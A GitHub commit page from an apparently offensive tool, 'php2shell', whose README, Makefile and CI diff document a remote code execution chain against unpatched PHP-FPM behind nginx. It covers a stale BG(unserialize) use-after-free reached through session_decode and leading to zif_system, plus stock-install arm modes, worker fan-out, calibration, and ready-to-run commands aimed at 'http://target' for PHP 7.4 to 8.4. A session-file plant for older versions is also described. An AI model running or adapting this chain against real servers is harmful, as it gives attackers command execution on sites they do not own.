Skip to content

Commit e8a4391

Browse files
committed
PHP-FPM: stock-installation arm, per-environment calibration, 7.4/8.0/8.1 chain
Everything from the FPM extraction, adapted to this repository: - arm modes (--arm-mode, auto by origin): the classic two-surface builder and a single-surface AMPLIFIED session_decode for stock installations - one nginx port, one pool, memory_limit=128M, pm=dynamic, stock php.ini. The payload multiplies decode memory ~22x per byte while BG(unserialize).level == 1, so one POST arms the producer from an empty session; a ladder, a growth fallback and a big-body probe adapt to body caps (nginx needs client_max_body_size 5m; stock 1m is too small). - --workers fans the arm/consume over a pm=dynamic pool (default 5) and --builder-prefix /b runs both classic surfaces behind one port. - probe: a per-target checklist of every chain precondition (version, session_start, reflection, reference, arm physics, body budget). - the leak reclaim buffer is TILED with the read length: any overlap of the freed short string yields a sane oversized length, so calibration sweeps reclaim shapes instead of one pre-placed header (which crashed workers on uncalibrated builds). Phase 1 is round-robin with set-based stability and bounded collection: crash-heavy shapes no longer degrade the state of the shapes after them. - profiles now carry per-environment geometry: the classic fields stay the reference and fpm.growth holds the default-install calibration; the schema (fpm-schema.json and the generic schema) accepts the new section. - 7.4.33, 8.0.30 and 8.1.33 verified end to end over HTTP (calibrate -> uid=1000 proof; no-oracle reproduced on each): php_session_cancel_decode only unlinks the session file, the struct is released by the Zend MM on every branch, so chain_applies() now covers 7.4 and all 8.x. 7.2 arms but no reclaim shape covers its struct yet, and 5.x has no zend_reference - both keep the session-file plant. registry docstrings corrected. - 8.4.26 recalibrated against THIS checkout (per-environment geometry); verification.json records the matrix verdicts and the live-fpm workflow calibrates on the runner before testing, so CI is environment-independent. - lab: --mode default renders the stock-installation pool; grow.php is the amplifier/growth stand-in; up() reloads a running nginx instead of serving a stale config; down() sweeps orphan masters. - tests: DefaultModeTests, a poison lab test, dynamic LAB_PORTS, the 7.4+ registry reality, and geometry assertions relaxed to per-environment invariants (the exact offsets live in the profiles). - docs: README status/quick start/requirements/multi-worker/limitations, docs/fpm-chain.md (versions, arm modes, tiling, laboratory, driving, matrix, plant), docs/labs.md, the profile inventory, and new probe-remote / remote-default / labs-fpm-up-default make targets.
1 parent ee8a154 commit e8a4391

23 files changed

Lines changed: 2684 additions & 378 deletions

‎.github/workflows/live-fpm.yml‎

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -38,6 +38,25 @@ jobs:
3838
- name: Start lab
3939
run: python3 tools/php2shell_fpm_labs.py up --only ${{ matrix.version }}
4040

41+
# the leak geometry is per environment (allocator + build paths), so
42+
# the runner derives its own before the tests instead of trusting the
43+
# shipped reference profile
44+
- name: Calibrate the leak geometry over HTTP
45+
run: |
46+
python3 - <<'EOF'
47+
import sys
48+
sys.path.insert(0, "tools")
49+
import php2shell_fpm_labs as labs
50+
import php2shell_fpm as fpm
51+
version = "${{ matrix.version }}"
52+
chain, builder, *_ = labs.builds_map([version])[version]
53+
sys.argv = ["calibrate", "--version", version,
54+
"--base", f"http://127.0.0.1:{chain}",
55+
"--builder", f"http://127.0.0.1:{builder}",
56+
"--proof-file", "out/ci-calib", "calibrate"]
57+
raise SystemExit(fpm.main())
58+
EOF
59+
4160
- name: Enable ptrace for the oracle test
4261
run: sudo sysctl -w kernel.yama.ptrace_scope=0
4362

‎.gitignore‎

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,3 +6,4 @@ lab/wordpress/wp/
66
lab/rce/out/
77
lab/fpm/runtime/
88
lab/fpm/webroot/out/
9+
lab/fpm/webroot/b

‎Makefile‎

Lines changed: 23 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,9 @@
11
.PHONY: help test lint secrets ci bootstrap inventory validate-profiles validate-fpm \
2-
build-nginx build-php build-all profile-draft calibrate-remote remote matrix \
2+
build-nginx build-php build-all profile-draft calibrate-remote remote \
3+
probe-remote remote-default matrix \
34
labs-up labs-down labs-status labs-test \
4-
labs-fpm-up labs-fpm-down labs-fpm-status labs-fpm-smoke labs-fpm-ports labs-fpm-test \
5+
labs-fpm-up labs-fpm-up-default labs-fpm-down labs-fpm-status labs-fpm-smoke \
6+
labs-fpm-ports labs-fpm-test \
57
clean
68

79
help: ## Show this help
@@ -31,7 +33,8 @@ validate-profiles: ## Validate every build profile against the gener
3133
from pathlib import Path; \
3234
[jsonschema.validate(json.loads(p.read_text()), schema) or print(f' ok {p.name}') \
3335
for p in sorted(Path('profiles').glob('*.json')) \
34-
if p.name not in ('schema.json', 'fpm-schema.json')]"
36+
if p.name not in ('schema.json', 'fpm-schema.json', \
37+
'verification.json')]"
3538

3639
validate-fpm: ## Validate the PHP-FPM profiles against the FPM schema
3740
python3 -c "import glob, json, jsonschema; \
@@ -75,6 +78,20 @@ remote: ## Run the 100%-remote chain (VERSION=... BASE=..
7578
--command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \
7679
no-oracle
7780

81+
probe-remote: ## Checklist of every chain precondition (VERSION=... BASE=...)
82+
@test -n "$(VERSION)" -a -n "$(BASE)" || \
83+
(echo "usage: make probe-remote VERSION=8.4.26 BASE=http://target"; exit 2)
84+
python3 tools/php2shell_fpm.py --version "$(VERSION)" \
85+
--base "$(BASE)" probe
86+
87+
remote-default: ## 100%-remote chain against a stock install (VERSION=... BASE=...)
88+
@test -n "$(VERSION)" -a -n "$(BASE)" || \
89+
(echo "usage: make remote-default VERSION=8.4.26 BASE=http://target"; exit 2)
90+
python3 tools/php2shell_fpm.py --version "$(VERSION)" \
91+
--base "$(BASE)" \
92+
--command "id>out/remote-$(VERSION)" --proof-file "out/remote-$(VERSION)" \
93+
no-oracle
94+
7895
matrix: ## Verify the remote chain on every unpatched build
7996
python3 tools/php2shell_fpm_matrix.py
8097

@@ -97,6 +114,9 @@ labs-test: ## Run the dispatcher against each Docker lab
97114
labs-fpm-up: ## Start the nginx + PHP-FPM laboratories (no Docker)
98115
python3 tools/php2shell_fpm_labs.py up
99116

117+
labs-fpm-up-default: ## Start the FPM lab in the stock-installation shape
118+
python3 tools/php2shell_fpm_labs.py up --mode default
119+
100120
labs-fpm-down: ## Stop the nginx + PHP-FPM laboratories
101121
python3 tools/php2shell_fpm_labs.py down
102122

‎README.md‎

Lines changed: 76 additions & 24 deletions
Original file line numberDiff line numberDiff line change
@@ -41,6 +41,10 @@ not match the profile.
4141
| PHP 8.4.0 FPM amd64 | php-8.4.0 source tarball (nginx+FPM) | `php-8.4.0-fpm` | http (stale string) | http (stale string) | **yes** | earliest 8.4 release of the branch |
4242
| PHP 8.3.35 FPM amd64 | php-8.3.35 source tarball (nginx+FPM) | `php-8.3.35-fpm` | http (stale string) | http (stale string) | **yes** | last vulnerable 8.3 |
4343
| PHP 8.2.34 FPM amd64 | php-8.2.34 source tarball (nginx+FPM) | `php-8.2.34-fpm` | http (stale string) | http (stale string) | **yes** | last vulnerable 8.2 |
44+
| PHP 8.1.33 FPM amd64 | php-8.1.33 source tarball (nginx+FPM) | `php-8.1.33-fpm` | http (stale string) | http (stale string) | **yes** | same chain; the stale struct is reclaimed from 7.4 on |
45+
| PHP 8.0.30 FPM amd64 | php-8.0.30 source tarball (nginx+FPM) | `php-8.0.30-fpm` | http (stale string) | http (stale string) | **yes** | same chain |
46+
| PHP 7.4.33 FPM amd64 | php-7.4.33 source tarball (nginx+FPM) | `php-7.4.33-fpm` | http (stale string) | http (stale string) | **yes** | same chain; `poison` also works |
47+
| PHP 7.2.34 FPM amd64 | php-7.2.34 source tarball (nginx+FPM) | `php-7.2.34-fpm` | no | no | no | arms the stale state; reclaim shape not found - `poison` plant |
4448
| PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries |
4549
| PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found |
4650
| PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive |
@@ -52,7 +56,7 @@ not match the profile.
5256
| PHP 7.4.33 aarch64 | `php:7.4-apache` | `php-7.4.33-bookworm-aarch64` | no | no | no | UAF; leak shape differs |
5357
| PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile |
5458

55-
**18 profiles (13 Apache/mod_php + 5 PHP-FPM), 10 with verified RCE. Offsets
59+
**21 profiles (13 Apache/mod_php + 8 PHP-FPM), 13 with verified RCE. Offsets
5660
extracted for 12 Apache builds.** The PHP-FPM profiles have no Apache leak
5761
stages: the chain abuses the stale `BG(unserialize)` struct instead.
5862
`no-oracle` is fully remote — it leaks the chunk and php-fpm PIE bases over
@@ -95,13 +99,18 @@ default retries because its stage 3 is probabilistic.
9599
CVEs against PHP-FPM behind nginx: an out-of-memory request leaves the
96100
`BG(unserialize)` pointer stale, the next request reclaims the struct, and a
97101
forged session variable turns the session shutdown path into `zif_system`.
98-
Verified command execution on 8.2.34, 8.3.35, 8.4.0, 8.4.25 and 8.4.26;
99-
`patchcheck` proves 8.4.27 is clean. `calibrate` derives the leak and
100-
reclaim geometry of any 8.0+ build over HTTP only; `poison` (the
101-
`session.upload_progress` session-file plant) covers PHP 5.4-7.x where the
102-
struct-freeing chain does not apply; `php2shell_fpm_matrix.py` verifies the
103-
whole unpatched set in one run. The `no-oracle` endgame is fully remote —
104-
no `/proc/<pid>/mem`, no local shell.
102+
Verified command execution over HTTP on 7.4.33, 8.0.30, 8.1.33, 8.2.34,
103+
8.3.35, 8.4.0, 8.4.25 and 8.4.26 (the stale struct is reclaimed from 7.4
104+
on — `php_session_cancel_decode` only unlinks the session file); `patchcheck`
105+
proves 8.4.27 is clean. Two arm modes: the single-surface amplified
106+
`session_decode` for stock installations and the classic two-surface
107+
builder; `--workers` fans the arm/consume over a default `pm=dynamic` pool;
108+
`probe` reports which preconditions a target satisfies. `calibrate` derives
109+
the leak and reclaim geometry of any 7.4+ build over HTTP only;
110+
`poison` (the `session.upload_progress` session-file plant) covers 5.x and
111+
7.2; `php2shell_fpm_matrix.py` verifies the whole unpatched set in one run
112+
and records the verdicts in `profiles/verification.json`. The `no-oracle`
113+
endgame is fully remote — no `/proc/<pid>/mem`, no local shell.
105114
- **PHP version registry** — `tools/php2shell_fpm_versions.py` is the single
106115
source of truth for the affected-version matrix: `is_vulnerable()`,
107116
`fixed_in()`, `source_is_fixed()` classifies a tarball by the presence of the
@@ -173,8 +182,9 @@ python3 tools/php2shell_inventory.py
173182
### PHP-FPM laboratory (no Docker)
174183

175184
The FPM chain runs against an amd64 user-prefix PHP build with nginx — no
176-
Docker, no root. Build nginx and a vulnerable PHP (any of 8.2.34, 8.3.35,
177-
8.4.0, 8.4.25 or 8.4.26), then start the lab for that version:
185+
Docker, no root. Build nginx and a vulnerable PHP (any of 7.4.33, 8.0.30,
186+
8.1.33, 8.2.34, 8.3.35, 8.4.0, 8.4.25 or 8.4.26), then start the lab for
187+
that version:
178188

179189
```sh
180190
lab/fpm/build_nginx.sh
@@ -197,17 +207,27 @@ python3 tools/php2shell_fpm.py \
197207
python3 tools/php2shell_fpm.py \
198208
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \
199209
--command 'id>out/p1' --proof-file out/p1 no-oracle
210+
# stock installation shape: --builder defaults to --base, one port, one pool,
211+
# memory_limit=128M, pm=dynamic x5 workers, stock php.ini (nginx needs
212+
# client_max_body_size >= 5m for the arm body)
213+
python3 tools/php2shell_fpm.py \
214+
--base http://target --version 8.4.26 \
215+
--command 'id>out/p1' --proof-file out/p1 no-oracle
216+
# checklist: does this target meet every precondition of the chain?
217+
python3 tools/php2shell_fpm.py --base http://target --version 8.4.26 probe
200218
# print only the leaked bases
201219
python3 tools/php2shell_fpm.py \
202220
--base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 leak
203-
# derive a profile for any 8.0+ build over HTTP, then trust it:
221+
# derive a profile for any 7.4+ build over HTTP, then trust it:
204222
python3 tools/php2shell_fpm.py \
205223
--version 8.2.34 --base http://127.0.0.1:8406 --builder http://127.0.0.1:8407 calibrate
206-
# PHP <= 7.x: plant chosen bytes into a chosen session file (pre-auth)
224+
# 5.x and 7.2 (no verified reclaim): plant chosen bytes into a chosen
225+
# session file (pre-auth write, needs an app gadget for code execution)
207226
python3 tools/php2shell_fpm.py \
208227
--version 7.4.33 --base http://127.0.0.1:8336 --builder http://127.0.0.1:8337 \
209228
poison --sid plant7x --payload 'PLANTED_MARKER'
210-
# verify the remote chain on every unpatched build in one run (7.2 -> 8.4)
229+
# verify the remote chain on every unpatched build in one run
230+
# (7.2 is recorded as SESSION PLANT, 7.4+ as REMOTE RCE)
211231
python3 tools/php2shell_fpm_matrix.py
212232
python3 tools/php2shell_fpm_labs.py down
213233
```
@@ -299,11 +319,33 @@ The shipped calibration targets:
299319
A hardened production PHP (128M+, `display_errors=Off`, multiple workers, FPM)
300320
does not match the shipped Apache calibration. Multi-worker Apache targets are
301321
handled with `--pin-workers`; `display_errors=Off` remains an open research
302-
item. The FPM chain has its own requirements: nginx in front of FPM, a small
303-
consumer pool (`memory_limit=8M`, cleanup on) and a larger builder pool (64M,
304-
cleanup off) for the 4 MB arm phase, sharing a session directory. The
305-
`no-oracle` endgame is fully remote; only the lab `endgame`/`primitive` modes
306-
additionally need `/proc/<pid>/mem` (`yama ptrace_scope=0`) — see
322+
item. The FPM chain runs against two supported shapes — run `probe` against a
323+
target to see which ones its configuration satisfies:
324+
325+
- **Stock installation (single surface, `--arm-mode growth`, auto when
326+
`--builder` equals `--base`):** one nginx port, one pool,
327+
`memory_limit=128M`, `pm=dynamic` with any worker count,
328+
`post_max_size=8M`, `session.upload_progress.cleanup=On`, the `php`
329+
serializer and `files` storage — the php.ini production defaults. The
330+
arm is an amplified `session_decode` (a wide nested-array payload whose
331+
decode multiplies memory ~22x while `BG(unserialize).level == 1`), so no
332+
big session file and no `memory_limit` split are involved. The front must
333+
pass ~5 MB bodies: nginx needs `client_max_body_size 5m` (stock `1m` is
334+
too small to push 128M over; Apache has no such default cap). The
335+
application must provide four operations: `session_start()`, a stored
336+
reference (`R:N`), a reflected session value, and either a
337+
`session_decode()` of attacker data or session accumulation
338+
(`--grow-path`).
339+
- **Classic builder (two surfaces, `--arm-mode builder`):** a consumer pool
340+
low enough that decoding the 4 MB arm OOMs after RINIT and a builder
341+
surface high enough to persist it, sharing a session directory — both
342+
behind one port with `--builder-prefix` if you want a single origin.
343+
344+
The leak geometry is *per environment* (the freed-string slot depends on the
345+
build's allocator and the checkout paths): run `calibrate` once per host
346+
before trusting `no-oracle` there. The `no-oracle` endgame is fully remote;
347+
only the lab `endgame`/`primitive` modes additionally need
348+
`/proc/<pid>/mem` (`yama ptrace_scope=0`) — see
307349
[docs/fpm-chain.md](docs/fpm-chain.md).
308350

309351
## Multi-worker targets
@@ -322,6 +364,12 @@ pinning is **opt-in**: it opens keep-alive connections until a request stops
322364
being answered, which is intrusive and only appropriate on authorized
323365
infrastructure. `--pin-max N` bounds the connections (default 32).
324366

367+
The PHP-FPM chain does not pin: it **fans out** instead. `--workers N`
368+
(default 5, matching `pm.max_children` of a stock pool) repeats the arm over
369+
the pool and repeats the consume, so every worker is armed and the fire lands
370+
on an armed one without holding connections open. A failed attempt on an
371+
unarmed worker is a no-op request; the armed workers stay standing.
372+
325373
## Commands and proof
326374

327375
A remote `-c` command is limited to 14 bytes (the fake `zend_string` carrier).
@@ -494,16 +542,20 @@ OOM, which is why the 8.4/8.5 stage-3 carrier does not transfer.
494542
## Limitations
495543

496544
- **mod_php prefork and FPM.** The Apache chain needs prefork + `mod_php`; the
497-
FPM chain needs nginx + FPM with two endpoints (a low-memory consumer pool and
498-
a high-memory builder pool) and a session directory shared between them. Only
499-
the lab-only `endgame`/`primitive` oracle modes need `/proc/<pid>/mem`
545+
FPM chain needs nginx + FPM — either the stock single-pool shape (amplifier
546+
arm, ~5 MB bodies through the front, four application session operations)
547+
or the classic two surfaces (a low-memory consumer pool and a high-memory
548+
builder pool sharing a session directory). Only the lab-only
549+
`endgame`/`primitive` oracle modes need `/proc/<pid>/mem`
500550
(`ptrace_scope=0`); `no-oracle` is fully remote. Other SAPIs are not
501551
supported.
502552
- **One worker / pinning.** Without pinning, the per-worker session state breaks
503-
stage 1.
553+
stage 1 (the Apache chain pins; the FPM chain fans out with `--workers`).
504554
- **Per-build offsets.** A profile is tied to a `libphp.so` build; the same
505-
version from another distribution or architecture needs its own offsets and
506-
heap calibration.
555+
version from another distribution, architecture, or even a different
556+
checkout path (the compile-time prefix shifts the heap) needs its own
557+
`calibrate` run — the FPM leak geometry in particular is
558+
environment-specific.
507559
- **`display_errors=Off` is not complete.** The OOM-in-cookie primitive is
508560
reproducible in research, but the stage-1 leak is not shipped for that
509561
configuration.

0 commit comments

Comments
 (0)